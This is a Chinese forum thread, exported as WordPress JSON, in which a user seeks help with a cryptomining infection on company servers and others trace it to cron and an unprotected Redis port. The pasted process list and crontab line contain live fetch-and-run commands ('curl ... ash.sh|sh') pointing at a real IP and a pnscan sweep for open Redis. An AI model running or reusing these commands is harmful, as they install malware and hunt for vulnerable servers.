{"id":98709,"date":"2020-04-03T01:33:50","date_gmt":"2020-04-02T17:33:50","guid":{"rendered":"http:\/\/4563.org\/?p=98709"},"modified":"2020-04-03T01:33:50","modified_gmt":"2020-04-02T17:33:50","slug":"%e5%85%84%e5%bc%9f%e4%bb%ac%ef%bc%8c%e5%85%ac%e5%8f%b8%e5%86%85%e7%bd%91%e5%a5%bd%e5%83%8f%e4%b8%ad%e7%97%85%e6%af%92%e4%ba%86%ef%bc%8c%e6%80%8e%e4%b9%88%e8%a7%a3%e5%86%b3%e5%95%8a%ef%bc%8c%e6%b1%82","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=98709","title":{"rendered":"\u5144\u5f1f\u4eec\uff0c\u516c\u53f8\u5185\u7f51\u597d\u50cf\u4e2d\u75c5\u6bd2\u4e86\uff0c\u600e\u4e48\u89e3\u51b3\u554a\uff0c\u6c42\u52a9\u6c42\u52a9\u554a"},"content":{"rendered":"<div>\n<div>\n<div>\n<h1>                  \u5144\u5f1f\u4eec\uff0c\u516c\u53f8\u5185\u7f51\u597d\u50cf\u4e2d\u75c5\u6bd2\u4e86\uff0c\u600e\u4e48\u89e3\u51b3\u554a\uff0c\u6c42\u52a9\u6c42\u52a9\u554a               <\/h1>\n<p> <\/p>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : aSmallNewbie <\/span>  <span><i><\/i> 63<\/span> <\/div>\n<div> <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<div isfirst=\"1\"> <\/p>\n<p>root 2147 2838 1 14:42 ? 00:00:00 \/usr\/local\/bin\/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 172.108.0.0\/16 6379 root 2379 1 0 12:45 ? 00:00:00 \/bin\/sh -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/ash.sh|sh root 2381 2379 0 12:45 ? 00:00:00 sh root 2409 1 0 12:45 ? 00:00:00 systemd<br \/> root 2650 2381 0 12:45 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/bsh.sh|bash root 2652 2650 0 12:45 ? 00:00:00 bash root 2836 2652 0 12:46 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/rsh.sh|sh root 2838 2836 0 12:46 ? 00:00:00 sh root 3180 1893 0 14:42 pts\/0 00:00:00 ps -ef root 11431 24106 0 13:43 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/rsh.sh|sh root 11433 11431 0 13:43 ? 00:00:00 sh root 17489 1 0 13:15 ? 00:00:00 \/bin\/sh -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/ash.sh|sh root 17491 17489  0 13:15 ? 00:00:00 sh root 19785 17491 0 13:15 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/bsh.sh|bash root 19787 19785 0 13:15 ? 00:00:00 bash root 24104 31056 0 13:40 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/bsh.sh|bash root 24106 24104 0 13:40 ? 00:00:00 bash root 29590 1 0 13:00 ? 00:00:00 \/bin\/sh -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/ash.sh|sh root 29592 29590 0 13:00 ? 00:00:00 sh root 29836 29592 0 13:00 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/bsh.sh|bash root 29838 29836 0 13:00 ? 00:00:00 bash root 30220 19787 0 13:18 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/rsh.sh|sh root 30222 30220 0 13:18 ? 00:00:00 sh root 31054 1 0 13:30 ? 00:00:00 \/bin\/sh -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/ash.sh|sh root 31056 31054 0 13:30 ? 00:00:00 sh root 31492 632 2 14:42 ? 00:00:00 \/usr\/local\/bin\/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 137.152.0.0\/16 6379 root 32517 30222 2 14:42 ? 00:00:00 \/usr\/local\/bin\/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 100.47.0.0\/16 6379<\/p>\n<p>root 2650 2381 0 12:45 ? 00:00:00 bash -c curl -fsSL http:\/\/116.62.122.90\/sh.sh\/bsh.sh|bash \u8fd9\u4e2a\u547d\u4ee4\u5f00\u673a\u5c31\u5f00\u59cb\u8dd1 \u8fd8\u4ed6\u5988\u5378\u8f7d\u6211\u7684 proc \u6587\u4ef6\u7cfb\u7edf\uff0c\u8f6f\u4ef6\u90fd\u8dd1\u4e0d\u8d77\u4e86\uff0c\u600e\u4e48\u627e\u5230\u4ed6\u5728\u54ea\u91cc\u554a \uff0c\u5988\u7684\u6211\u5feb\u6c14\u6b7b\u4e86<\/p>\n<\/p><\/div>\n<div> <b>\u5927\u4f6c\u6709\u8a71\u8aaa<\/b> (<span>13<\/span>)        <\/div>\n<div> <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<ul>\n<li data-pid=\"726716\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : smartwusir007 <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u54c8\u54c8\uff0c\u6316\u77ff\u75c5\u6bd2                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726717\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : smartwusir007 <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u662f\u4e0d\u662f\u6709\u5f88\u591a cron \u8fdb\u7a0b\uff0c\u5173\u6389\u4e86\u8fd8\u4f1a\u91cd\u542f\uff1f\u4f60\u770b\u770b redis \u662f\u4e0d\u662f\u5f00\u653e\u4e86\u5916\u7f51\u7aef\u53e3\uff0c\u6ca1\u8bbe\u5bc6\u7801\uff1f\u5173\u6389\u8bd5\u8bd5                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726718\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u4e3b<\/span> <span>\u8cc7\u6df1\u5927\u4f6c : aSmallNewbie <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             @smartwusir007 \u5bf9\u554a\uff0c\u6211\u627e\u4e0d\u5230\u4ed6\u600e\u4e48\u81ea\u52a8\u542f\u52a8\u8d77\u6765                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726719\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u4e3b<\/span> <span>\u8cc7\u6df1\u5927\u4f6c : aSmallNewbie <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             @smartwusir007 \u6211\u53bb\u8bd5\u4e0b                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726720\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : tankren <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u65ad\u7f51 \u5148\u628a wget curl \u5378\u8f7d \u518d\u6162\u6162\u627e<br \/>\u4e0a\u6b21\u770b\u5230\u4e00\u4e2a\u5e16\u5b50 www \u8d26\u53f7\u4e0b\u53bb\u770b cron                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726721\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u4e3b<\/span> <span>\u8cc7\u6df1\u5927\u4f6c : aSmallNewbie <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             @tankren \u6d41\u5f0a\u554a\uff0c\u679c\u7136\u5728\u5927\u4f6c\uff0c\u6d41\u5f0a <\/p>\n<p>*\/15 * * * * curl -fsSL http:\/\/116.62.122.90\/sh.sh\/ash.sh|sh<br \/>\u786e\u5b9e\u5728\u5b9a\u65f6\u4efb\u52a1\u91cc\uff0c\u627e\u7684\u6211\u597d\u82e6\u554a                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726722\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : z1154505909 <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u6211\u516c\u53f8\u7684\u5185\u90e8\u670d\u52a1\u5668\u4e5f\u4e2d\u8fc7\u6316\u77ff,<br \/>\u540c\u4e8b\u8bf4\u5b9a\u65f6\u4efb\u52a1\u6ca1\u8dd1,\u76f4\u63a5\u53bb\u627e\u5b9a\u65f6\u4efb\u52a1\u7684\u65e5\u5fd7,\u770b\u5230\u4e00\u4e2a\u83ab\u540d\u5947\u5999\u7684\u5b9a\u65f6\u4efb\u52a1\u5728\u8dd1.\u8fd8\u8001\u62a5\u9519,<br \/>\u770b\u4e86\u4e0b\u6587\u4ef6,\u590d\u5236\u4ee3\u7801\u4e0a\u7f51\u4e0a\u641c\u4e86\u4e00\u4e0b,\u6316\u77ff\u7684,\u6e05\u7406\u4e86\u4e00\u5708,<br \/>\u539f\u56e0\u5c31\u662f redis \u6ca1\u6709\u8bbe\u7f6e\u5bc6\u7801,<br \/>\u4ee5\u524d\u90fd\u6ca1\u6709\u6620\u5c04\u5916\u7f51\u7aef\u53e3\u6240\u4ee5\u4e00\u76f4\u6ca1\u4e8b,\u540e\u9762\u56e0\u4e3a\u4e00\u4e2a\u9879\u76ee\u8981\u6d4b\u8bd5,\u5f00\u4e86\u4e00\u4e0b,\u4e2d\u62db\u4e86                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726723\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : Xusually <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u8fd9\u6076\u610f\u811a\u672c\u8fd8\u662f\u6258\u7ba1\u5728\u963f\u91cc\u4e91\u7684\uff0c\u4e0d\u53bb\u4e3e\u62a5\u6295\u8bc9\u4e00\u4e0b\uff1f                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726724\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u4e3b<\/span> <span>\u8cc7\u6df1\u5927\u4f6c : aSmallNewbie <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             @Xusually \u6211\u4eec\u8fd9\u662f\u516c\u53f8\u5185\u7f51\uff0c\u6620\u5c04\u5230\u5916\u7f51\u51fa\u4e86\u95ee\u9898                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726725\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : JoyBanana <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u8bba redis \u8bbe\u7f6e\u5bc6\u7801\u7684\u91cd\u8981\u6027                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726726\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : Xusually <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             @aSmallNewbie \u55ef \u6211\u77e5\u9053\uff0c\u6211\u662f\u8bf4\u8fd9\u4e2a\u6076\u610f\u811a\u672c\u4ee5\u53ca\u5176\u4ed6\u8d44\u6e90\u662f\u6258\u7ba1\u5728\u963f\u91cc\u4e91\u7684\u670d\u52a1\u5668\u4e0a\u7684\uff0c\u4f60\u627e\u963f\u91cc\u4e91\u4e3e\u62a5\u4e00\u4e0b\uff0c\u4ed6\u7684\u8fd9\u4e9b\u4f5c\u6076\u7684\u8d44\u6e90\u53ef\u80fd\u963f\u91cc\u4e91\u4f1a\u5c01\u505c                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726727\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : ps1aniuge <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             1 \u968f\u7740 linux \u88ab\u6302\u9a6c\uff0c\u88ab\u6316\u77ff\uff0c\u88ab\u52d2\u7d22\u589e\u591a\u3002\u5feb\u8fc7\u5e74\u4e4b\u524d\uff0c\u5e7f\u5927 it \u5b89\u5168\u7763\u5bdf\u4eba\u5458\uff08\u4fe1\u606f\u90e8\u9526\u8863\u536b\uff09\u884c\u52a8\u8d77\u6765\u4e86\uff0c\u6211\u5f88\u6b23\u6170\u3002<br \/>2 \u8fd8\u6709\u4eba\u8ba8\u538c win \u6bcf\u6708\u66f4\u65b0\u8865\u4e01\u4e48\uff1f<br \/>3 \u8fd8\u5728\u5f00\u95e8\u540e\u4e00\u8d70\u4e86\u4e4b\uff1f\u65e0\u95e8\u536b\uff1f                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"726728\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : hfc <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             hosts \u91cc\u628a\u76ee\u6807 ip \u91cd\u5b9a\u5411\u5230 127.0.0.1                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li>\n","protected":false},"excerpt":{"rendered":"<p>\u5144\u5f1f\u4eec\uff0c\u516c\u53f8\u5185\u7f51\u597d\u50cf\u4e2d\u75c5\u6bd2\u4e86\uff0c\u600e\u4e48&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/98709"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=98709"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/98709\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=98709"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=98709"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=98709"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}